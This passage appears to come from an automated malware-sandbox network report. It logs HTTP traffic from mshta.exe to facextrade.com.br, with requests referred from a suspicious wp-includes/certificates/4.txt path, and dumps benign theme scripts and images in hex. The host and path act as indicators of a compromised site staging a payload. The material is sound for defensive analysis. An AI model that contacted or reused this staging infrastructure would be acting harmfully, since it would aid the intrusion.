0!=a.description&&(a.description=a.description.replace("<p>","").replace("</p>","")))}a.image_s=a.media.m.replace("_m","_s");a.image_t=a.media.m.replace("_m","_t");a.image_m=a.media.m.replace("_m","_m");a.image=a.media.m.replace("_m","");a.image_b=a.media.m.replace("_m","_b");delete a.media;if(c.useTemplate){var b=c.itemTemplate,h;for(h in a)b=b.replace(RegExp("{{"+h
Aug 16, 2022 11:06:01.212790966 CEST	2345	OUT	GET /wp-content/themes/CherryFramework/js/custom.js?ver=1.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:06:01.426187992 CEST	2349	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:04:20 GMT Server: Apache ETag: "a534b4-1b97-58592d4796c00" Last-Modified: Tue, 02 Apr 2019 21:29:20 GMT Content-Length: 7063 Content-Type: application/x-javascript Cache-Control: No-Cache Pragma: no-cache X-Varnish: 14386685 12289814 Age: 100 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 2f 2f 20 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 64 6f 63 75 6d 65 6e 74 20 72 65 61 64 79 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 0a 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 6a 51 75 65 72 79 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 2f 2f 20 42 6c 6f 67 20 6d 61 73 6f 6e 72 79 0a 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 09 69 66 28 6a 51 75 65 72 79 28 27 62 6f 64 79 2e 62 6c 6f 67 27 29 5b 30 5d 29 7b 0a 09 09 76 61 72 20 69 73 6f 74 6f 70 65 5f 68 6f 6c 64 65 72 20 3d 20 6a 51 75 65 72 79 28 27 2e 69 73 6f 74 6f 70 65 27 29 3b 0a 09 09 69 73 6f 74 6f 70 65 5f 68 6f 6c 64 65 72 2e 69 6d 61 67 65 73 4c 6f 61 64 65 64 28 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 09 09 69 73 6f 74 6f 70 65 5f 68 6f 6c 64 65 72 2e 69 73 6f 74 6f 70 65 28 7b 0a 09 09 09 09 69 74 65 6d 53 65 6c 65 63 74 6f 72 20 3a 20 27 2e 70 6f 73 74 5f 77 72 61 70 70 65 72 27 2c 0a 09 09 09 09 68 69 64 64 65 6e 43 6c 61 73 73 20 3a 20 27 68 69 64 64 65 6e 27 2c 0a 09 09 09 09 72 65 73 69 7a 61 62 6c 65 20 3a 20 74 72 75 65 2c 0a 09 09 09 09 74 72 61 6e 73 66 6f 72 6d 73 45 6e 61 62 6c 65 64 20 3a 20 66 61 6c 73 65 2c 0a 09 09 09 09 6c 61 79 6f 75 74 4d 6f 64 65 3a 20 27 6d 61 73 6f 6e 72 79 27 0a 09 09 09 7d 29 2e 62 69 6e 64 28 22 72 65 73 69 7a 65 2e 72 61 69 6e 62 6f 77 73 22 2c 20 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 09 09 09 09 69 73 6f 74 6f 70 65 5f 68 6f 6c 64 65 72 2e 69 73 6f 74 6f 70 65 28 27 72 65 4c 61 79 6f 75 74 27 29 3b 0a 09 09 09 7d 29 2e 74 72 69 67 67 65 72 28 22 72 65 73 69 7a 65 2e 72 61 69 6e 62 6f 77 73 22 29 2e 63 73 73 28 7b 27 76 69 73 69 62 69 6c 69 74 79 27 3a 27 76 69 73 69 62 6c 65 27 7d 29 3b 0a 09 09 7d 29 3b 0a 09 7d 0a 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 2f 2f 20 43 61 6c 6c 20 4d 61 67 6e 69 66 69 63 20 50 6f 70 75 70 0a 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 09 6a 51 75 65 72 79 28 22 2e 74 68 75 6d 62 6e 61 69 6c 22 29 2e 70 61 72 65 6e 74 28 29 Data Ascii: // ---------------------------------------------------------// !!!!!!!!!!!!!!!!!document ready!!!!!!!!!!!!!!!!!!!!!!!!!!// ---------------------------------------------------------jQuery(document).ready(function(){// ---------------------------------------------------------// Blog masonry// ---------------------------------------------------------if(jQuery('body.blog')[0]){var isotope_holder = jQuery('.isotope');isotope_holder.imagesLoaded( function() {isotope_holder.isotope({itemSelector : '.post_wrapper',hiddenClass : 'hidden',resizable : true,transformsEnabled : false,layoutMode: 'masonry'}).bind("resize.rainbows", function(){isotope_holder.isotope('reLayout');}).trigger("resize.rainbows").css({'visibility':'visible'});});}// ---------------------------------------------------------// Call Magnific Popup// ---------------------------------------------------------jQuery(".thumbnail").parent()
Aug 16, 2022 11:06:01.429392099 CEST	2356	OUT	GET /wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.js HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:06:01.642011881 CEST	2388	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 08:59:42 GMT Server: Apache ETag: "a5353d-4343-58592d4a732c0" Last-Modified: Tue, 02 Apr 2019 21:29:23 GMT Content-Length: 17219 Content-Type: application/x-javascript X-Pad: avoid browser bug Cache-Control: No-Cache Pragma: no-cache X-Varnish: 14386687 12289651 Age: 380 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 77 69 6e 64 6f 77 2e 64 65 66 69 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 61 72 67 75 6d 65 6e 74 73 29 2e 70 6f 70 28 29 28 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 29 7d 3b 64 65 66 69 6e 65 28 5b 22 6a 71 75 65 72 79 22 5d 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 61 2e 63 6c 65 61 6e 44 61 74 61 29 7b 76 61 72 20 63 3d 61 2e 63 6c 65 61 6e 44 61 74 61 3b 61 2e 63 6c 65 61 6e 44 61 74 61 3d 66 75 6e 63 74 69 6f 6e 28 62 29 7b 66 6f 72 28 76 61 72 20 64 3d 30 2c 65 3b 28 65 3d 62 5b 64 5d 29 21 3d 6e 75 6c 6c 3b 64 2b 2b 29 7b 61 28 65 29 2e 74 72 69 67 67 65 72 48 61 6e 64 6c 65 72 28 22 72 65 6d 6f 76 65 22 29 7d 63 28 62 29 7d 7d 65 6c 73 65 7b 76 61 72 20 64 3d 61 2e 66 6e 2e 72 65 6d 6f 76 65 3b 61 2e 66 6e 2e 72 65 6d 6f 76 65 3d 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 21 63 29 7b 69 66 28 21 62 7c 7c 61 2e 66 69 6c 74 65 72 28 62 2c 5b 74 68 69 73 5d 29 2e 6c 65 6e 67 74 68 29 7b 61 28 22 2a 22 2c 74 68 69 73 29 2e 61 64 64 28 5b 74 68 69 73 5d 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 61 28 74 68 69 73 29 2e 74 72 69 67 67 65 72 48 61 6e 64 6c 65 72 28 22 72 65 6d 6f 76 65 22 29 7d 29 7d 7d 72 65 74 75 72 6e 20 64 2e 63 61 6c 6c 28 61 28 74 68 69 73 29 2c 62 2c 63 29 7d 29 7d 7d 61 2e 77 69 64 67 65 74 3d 66 75 6e 63 74 69 6f 6e 28 62 2c 63 2c 64 29 7b 76 61 72 20 65 3d 62 2e 73 70 6c 69 74 28 22 2e 22 29 5b 30 5d 2c 66 3b 62 3d 62 2e 73 70 6c 69 74 28 22 2e 22 29 5b 31 5d 3b 66 3d 65 2b 22 2d 22 2b 62 3b 69 66 28 21 64 29 7b 64 3d 63 3b 63 3d 61 2e 57 69 64 67 65 74 7d 61 2e 65 78 70 72 5b 22 3a 22 5d 5b 66 5d 3d 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 21 21 61 2e 64 61 74 61 28 63 2c 62 29 7d 3b 61 5b 65 5d 3d 61 5b 65 5d 7c 7c 7b 7d 3b 61 5b 65 5d 5b 62 5d 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 29 7b 74 68 69 73 2e 5f 63 72 65 61 74 65 57 69 64 67 65 74 28 61 2c 62 29 7d 7d 3b 76 61 72 20 67 3d 6e 65 77 20 63 3b 67 2e 6f 70 74 69 6f 6e 73 3d 61 2e 65 78 74 65 6e 64 28 74 72 75 65 2c 7b 7d 2c 67 2e 6f 70 74 69 6f 6e 73 29 3b 61 5b 65 5d 5b 62 5d 2e 70 72 6f 74 6f 74 79 70 65 3d 61 2e 65 78 74 65 6e 64 28 74 72 75 65 2c 67 2c 7b 6e 61 6d 65 73 70 61 63 65 3a 65 2c 77 69 64 67 65 74 4e 61 6d 65 3a 62 2c 77 69 64 67 65 74 45 76 65 6e 74 50 72 65 66 69 78 3a 61 5b 65 5d 5b 62 5d 2e 70 72 6f 74 6f 74 79 70 65 2e 77 69 64 67 65 74 45 76 65 6e 74 50 72 65 66 69 78 7c 7c 62 2c 77 69 64 67 65 74 42 61 73 65 43 6c 61 73 73 3a 66 7d 2c 64 29 3b 61 2e 77 69 64 67 65 74 2e 62 72 69 64 67 65 28 62 2c 61 5b 65 5d 5b 62 5d 29 7d 3b 61 2e 77 69 64 67 65 74 2e 62 72 69 64 67 65 3d 66 Data Ascii: window.define=function(){Array.prototype.slice.call(arguments).pop()(window.jQuery)};define(["jquery"],function(a){(function(a,b){if(a.cleanData){var c=a.cleanData;a.cleanData=function(b){for(var d=0,e;(e=b[d])!=null;d++){a(e).triggerHandler("remove")}c(b)}}else{var d=a.fn.remove;a.fn.remove=function(b,c){return this.each(function(){if(!c){if(!b\|\|a.filter(b,[this]).length){a("*",this).add([this]).each(function(){a(this).triggerHandler("remove")})}}return d.call(a(this),b,c)})}}a.widget=function(b,c,d){var e=b.split(".")[0],f;b=b.split(".")[1];f=e+"-"+b;if(!d){d=c;c=a.Widget}a.expr[":"][f]=function(c){return!!a.data(c,b)};a[e]=a[e]\|\|{};a[e][b]=function(a,b){if(arguments.length){this._createWidget(a,b)}};var g=new c;g.options=a.extend(true,{},g.options);a[e][b].prototype=a.extend(true,g,{namespace:e,widgetName:b,widgetEventPrefix:a[e][b].prototype.widgetEventPrefix\|\|b,widgetBaseClass:f},d);a.widget.bridge(b,a[e][b])};a.widget.bridge=f
Aug 16, 2022 11:06:01.645900011 CEST	2406	OUT	GET /wp-content/plugins/gtranslate/flags/16/pt-br.png HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:06:01.862282038 CEST	2431	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:04:21 GMT Server: Apache ETag: "a508ae-2af-5c93d38583b98" Last-Modified: Tue, 10 Aug 2021 23:54:19 GMT Content-Length: 687 Content-Type: image/png Cache-Control: No-Cache Pragma: no-cache X-Varnish: 14386691 18932502 Age: 100 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 06 00 00 00 1f f3 ff 61 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 20 63 48 52 4d 00 00 7a 25 00 00 80 83 00 00 f9 ff 00 00 80 e9 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 6f 92 5f c5 46 00 00 02 35 49 44 41 54 78 da a4 93 4b 48 54 61 18 86 9f ff 9c a3 73 9c 71 9c 46 87 69 6c 2a 24 45 85 49 a6 8c 88 dc b6 69 53 64 b4 ef b2 aa 2c a4 65 50 46 3b 77 81 8b 16 ad 82 68 57 b6 8a 88 10 91 86 26 cc 10 25 1a ac c6 b2 1a e7 e2 05 cd b9 9c cb 9c f3 b7 11 b5 cb 46 fc 36 df e2 fd 78 78 f9 78 5f 21 a5 64 27 23 80 5a a0 7e 7d 6f 67 2c a0 a8 01 81 b3 cf ee 14 fe 56 25 60 3a 0a 20 f0 28 0e 42 fc 4b 18 ee bd 1b d6 00 9f e3 3a c4 c3 ad 1b 82 2d 15 14 24 c7 23 cb 28 42 f2 26 d7 44 d5 15 d4 2a ee c6 cd 54 21 0d e0 d3 00 d5 76 1d d6 ac 32 8b 95 22 86 a3 d2 16 58 e3 cc be 3c 4d a6 00 09 91 e8 67 86 7f ee 26 b5 e4 a7 4e 73 68 aa ab c7 76 1d 00 55 03 30 6d 8b 42 b9 42 d1 2a d1 db 92 e5 74 74 89 a1 c7 3d 8c be db 03 55 49 77 57 96 9b 17 93 bc 6a 08 f2 24 dd 8c 23 55 4c db 02 40 03 28 1b 26 91 70 8e f3 b1 0f 74 45 f2 bc 48 9e 62 b6 12 e7 58 0f e4 97 4a 8c bc df 4f d0 3b cf ed fe 31 ba 77 7d e7 61 fa 20 b3 0b 5b 00 2d 9e 45 06 e2 53 34 e8 05 b0 55 ee 3f 2a 32 3a 91 c2 1f 74 69 8e 7a d9 db 11 e0 47 29 4c 75 25 43 67 e8 1b 03 fe 39 ae 2d c4 49 02 0a c0 64 41 e5 72 22 c6 e4 7c 23 e8 15 0e 75 64 70 ab 1e 4a e5 2a 5f 66 7e 31 fa 7c 85 c3 07 f2 68 81 32 1f 73 01 fa 12 31 92 59 6d d3 81 69 18 bc ce 35 90 c8 1e e1 6a ec 2b 57 ce bd 65 7a 26 c4 cb 64 1b a8 0a 27 8e 7e e2 64 f7 53 86 26 da b9 37 dd 8a 8d 8f 5a 63 75 13 60 19 06 5e c5 4b b9 2a 18 9c 6c 67 64 3e c4 8d fe 31 6e 5d 48 80 14 ac 06 2d ae a7 62 24 32 21 7c 35 55 7c 9a 4d d9 30 b6 38 b0 2c 74 24 ba a6 a2 6b 92 d4 72 88 be f1 46 2e 75 ce e1 a9 71 79 30 de 42 c5 56 09 d5 39 80 8a 8b c4 b4 36 9f 68 49 c7 65 25 9d fd 23 65 15 60 70 46 07 40 57 73 08 21 31 ff 13 67 01 04 80 28 e0 df 66 17 d6 80 8c 00 d4 f5 22 a9 db 04 38 80 25 76 5a e7 df 03 00 ff a6 e7 ee 3e 29 e0 82 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRapHYs cHRMz%u0`:o_F5IDATxKHTasqFil$EIiSd,ePF;whW&%F6xxx_!d'#Z~}og,V%`: (BK:-$#(B&DT!v2"X<Mg&NshvU0mBBtt=UIwWj$#UL@(&ptEHbXJO;1w}a [-ES4U?2:tizG)Lu%Cg9-IdAr"\|#udpJ_f~1\|h2s1Ymi5j+Wez&d'~dS&7Zcu`^Klgd>1n]H-b$2!\|5U\|M08,t$krF.uqy0BV96hIe%#e`pF@Ws!1g(f"8%vZ>)IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.4	49795	187.45.240.69	80	C:\Windows\SysWOW64\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:06:08.497101068 CEST	2691	OUT	GET /wp-content/themes/theme51253/images/content_bg4.jpg HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:06:08.738913059 CEST	2693	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:05:50 GMT Server: Apache ETag: "a53864-d9abf-58592d61568c0" Last-Modified: Tue, 02 Apr 2019 21:29:47 GMT Content-Length: 891583 Content-Type: image/jpeg Cache-Control: No-Cache Pragma: no-cache X-Varnish: 20382224 17526875 Age: 18 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: ff d8 ff e1 0d 82 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1c 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 8e 87 69 00 04 00 00 00 01 00 00 00 a4 00 00 00 d0 00 0a fc 80 00 00 27 10 00 0a fc 80 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 53 35 20 57 69 6e 64 6f 77 73 00 32 30 31 34 3a 30 39 3a 30 39 20 31 31 3a 32 39 3a 34 39 00 00 00 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 08 a0 a0 03 00 04 00 00 00 01 00 00 04 7e 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 1a 00 05 00 00 00 01 00 00 01 1e 01 1b 00 05 00 00 00 01 00 00 01 26 01 28 00 03 00 00 00 01 00 02 00 00 02 01 00 04 00 00 00 01 00 00 01 2e 02 02 00 04 00 00 00 01 00 00 0c 4c 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 ff d8 ff ed 00 0c 41 64 6f 62 65 5f 43 4d 00 01 ff ee 00 0e 41 64 6f 62 65 00 64 80 00 00 00 01 ff db 00 84 00 0c 08 08 08 09 08 0c 09 09 0c 11 0b 0a 0b 11 15 0f 0c 0c 0f 15 18 13 13 15 13 13 18 11 0c 0c 0c 0c 0c 0c 11 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 01 0d 0b 0b 0d 0e 0d 10 0e 0e 10 14 0e 0e 0e 14 14 0e 0e 0e 0e 14 11 0c 0c 0c 0c 0c 11 11 0c 0c 0c 0c 0c 0c 11 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c ff c0 00 11 08 00 53 00 a0 03 01 22 00 02 11 01 03 11 01 ff dd 00 04 00 0a ff c4 01 3f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 03 00 01 02 04 05 06 07 08 09 0a 0b 01 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 01 00 02 03 04 05 06 07 08 09 0a 0b 10 00 01 04 01 03 02 04 02 05 07 06 08 05 03 0c 33 01 00 02 11 03 04 21 12 31 05 41 51 61 13 22 71 81 32 06 14 91 a1 b1 42 23 24 15 52 c1 62 33 34 72 82 d1 43 07 25 92 53 f0 e1 f1 63 73 35 16 a2 b2 83 26 44 93 54 64 45 c2 a3 74 36 17 d2 55 e2 65 f2 b3 84 c3 d3 75 e3 f3 46 27 94 a4 85 b4 95 c4 d4 e4 f4 a5 b5 c5 d5 e5 f5 56 66 76 86 96 a6 b6 c6 d6 e6 f6 37 47 57 67 77 87 97 a7 b7 c7 d7 e7 f7 11 00 02 02 01 02 04 04 03 04 05 06 07 07 06 05 35 01 00 02 11 03 21 31 12 04 41 51 61 71 22 13 05 32 81 91 14 a1 b1 42 23 c1 52 d1 f0 33 24 62 e1 72 82 92 43 53 15 63 73 34 f1 25 06 16 a2 b2 83 07 26 35 c2 d2 44 93 54 a3 17 64 45 55 36 74 65 e2 f2 b3 84 c3 d3 75 e3 f3 46 94 a4 85 b4 95 c4 d4 e4 f4 a5 b5 c5 d5 e5 f5 56 66 76 86 96 a6 b6 c6 d6 e6 f6 27 37 47 57 67 77 87 97 a7 b7 c7 ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 f2 d0 1b 06 66 7b 42 50 13 ca 65 60 2d 54 24 92 52 8a 92 55 b0 87 07 10 dd 24 13 e2 3e 48 b4 3e a6 89 77 b9 d3 01 9d b8 fa 45 ca b4 a2 d2 fa 98 e0 f7 82 63 80 d8 1f f5 41 c9 20 87 a2 e9 ce c3 a1 8c c9 77 e6 38 1b 76 92 1d b4 7f a3 a9 e6 bd de ff 00 e5 2d da fe b7 f4 ed d4 0d 8e 63 43 40 75 61 bb 98 09 fa 5f a4 30 ff 00 d1 ae 1a cc d6 ba 0b 77 82 01 d1 c4 1d 4f c3 67 f9 c9 1c c2 f0 0d 92 e7 31 a1 ad 92 48 8f 99 f6 a2 24 b0 c2 fa 3e Data Ascii: ExifMM*bj(1r2i''Adobe Photoshop CS5 Windows2014:09:09 11:29:49~&(.LHHAdobe_CMAdobedS"?3!1AQa"q2B#$Rb34rC%Scs5&DTdEt6UeuF'Vfv7GWgw5!1AQaq"2B#R3$brCScs4%&5DTdEU6teuFVfv'7GWgw?f{BPe`-T$RU$>H>wEcA w8v-cC@ua_0wOg1H$>
Aug 16, 2022 11:06:08.738948107 CEST	2694	IN	Data Raw: 83 6e 57 d5 be b5 53 68 bc 34 ef 90 d9 d1 cd 33 fe 0d ff 00 49 9f f5 0b 94 eb ff 00 55 32 3a 60 39 38 e4 e5 60 ce b6 01 ee 64 fe 6d d1 ff 00 56 b3 71 b2 cd 4f 6b e3 70 04 12 c3 20 18 fe af bb fc d5 da 74 5e bf d3 c1 8a ed b2 82 41 9a af db 6b 5c Data Ascii: nWSh43IU2:`98`dmVqOkp t^Ak\?)S,fPou]/8TzDd1&{k-PO3(X@N}RV0uR4GdiSmW=G*[T@Fs<P9<+KxKiFlRN44N
Aug 16, 2022 11:06:08.738967896 CEST	2696	IN	Data Raw: 73 58 d6 19 d0 b2 40 92 67 45 27 fa 5e 91 b1 b6 4b b4 68 0e 00 18 db 27 d8 dd ff 00 45 de c6 59 b9 09 95 ba c2 43 01 3b 41 73 88 13 0d 1f 49 ee 85 07 19 3f 0d 02 04 f6 4a a4 94 a5 34 a4 95 95 32 07 9f c5 22 64 cf 1a f6 51 52 de 36 86 c0 e6 77 77 Data Ascii: sX@gE'^Kh'EYC;AsI?J42"dQR6ww'L0u#nuD;i-nUNi`32\7vcavtl+K}i7PP}Qs7=%~eTfUt#cAok~df;3Y{kT5
Aug 16, 2022 11:06:08.738990068 CEST	2697	IN	Data Raw: 00 00 00 01 00 00 00 38 42 49 4d 04 3b 00 00 00 00 01 b2 00 00 00 10 00 00 00 01 00 00 00 00 00 12 70 72 69 6e 74 4f 75 74 70 75 74 4f 70 74 69 6f 6e 73 00 00 00 12 00 00 00 00 43 70 74 6e 62 6f 6f 6c 00 00 00 00 00 43 6c 62 72 62 6f 6f 6c 00 00 Data Ascii: 8BIM;printOutputOptionsCptnboolClbrboolRgsMboolCrnCboolCntCboolLblsboolNgtvboolEmlDboolIntrboolBckgObjcRGBCRd doub@oGrn doub@o
Aug 16, 2022 11:06:08.739013910 CEST	2698	IN	Data Raw: 54 6f 70 20 6c 6f 6e 67 00 00 00 00 00 00 00 00 4c 65 66 74 6c 6f 6e 67 00 00 00 00 00 00 00 00 42 74 6f 6d 6c 6f 6e 67 00 00 04 7e 00 00 00 00 52 67 68 74 6c 6f 6e 67 00 00 08 a0 00 00 00 03 75 72 6c 54 45 58 54 00 00 00 01 00 00 00 00 00 00 6e Data Ascii: Top longLeftlongBtomlong~RghtlongurlTEXTnullTEXTMsgeTEXTaltTagTEXTcellTextIsHTMLboolcellTextTEXThorzAlignenumESliceHorzAligndefaultvertAlignenum
Aug 16, 2022 11:06:08.739034891 CEST	2700	IN	Data Raw: d5 d8 53 6d 57 3d 12 04 47 2a 0e aa 12 a5 5b 54 b6 13 40 46 73 3c 94 0b 50 a4 82 ff 00 ff d0 f2 e4 a1 39 11 ce 89 08 3c 2b 4b 16 84 8a 78 4b 69 46 95 6c 52 82 9e 07 90 4e d6 92 0b 84 34 34 4e bd f5 ff 00 aa 42 93 6c 61 17 65 7e 98 2d 27 78 9d ed Data Ascii: SmW=G[T@Fs<P9<+KxKiFlRN44NBlae~-'x10[\nJv16,AkRaNAhZk{~{XH\|:6Ctnv=N/NE'tN`V^we.ug>
Aug 16, 2022 11:06:08.739056110 CEST	2701	IN	Data Raw: 73 1c 7f 37 de e7 db fa 3d ec ff 00 83 fd cb 25 d3 7e b4 65 54 f1 66 55 c2 d2 e0 09 74 82 e0 23 63 41 6f e6 ed 6b 7f 9b ff 00 06 b0 7e ad 64 16 66 9c 3b 33 ab c0 c3 be 59 7b ef 6b 9f 54 e8 fa f7 d5 35 b9 9f a4 63 3f 4b ea 57 e9 ae cb ad 59 d1 7a Data Ascii: s7=%~eTfUt#cAok~df;3Y{kT5c?KWYzuo7WN{\UXMVH;h}K_DH{v9ncGU/lp.pZ=\9tRj8kA--p~glbW-7v{Y_/VqcVwN
Aug 16, 2022 11:06:08.739078045 CEST	2703	IN	Data Raw: 6e 73 23 22 3e 20 3c 72 64 66 3a 44 65 73 63 72 69 70 74 69 6f 6e 20 72 64 66 3a 61 62 6f 75 74 3d 22 22 20 78 6d 6c 6e 73 3a 78 6d 70 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 22 20 78 6d 6c 6e 73 Data Ascii: ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmln
Aug 16, 2022 11:06:08.739099979 CEST	2704	IN	Data Raw: 46 3e 20 3c 2f 78 3a 78 6d 70 6d 65 74 61 3e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: F> </x:xmpmeta>
Aug 16, 2022 11:06:08.739121914 CEST	2706	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:
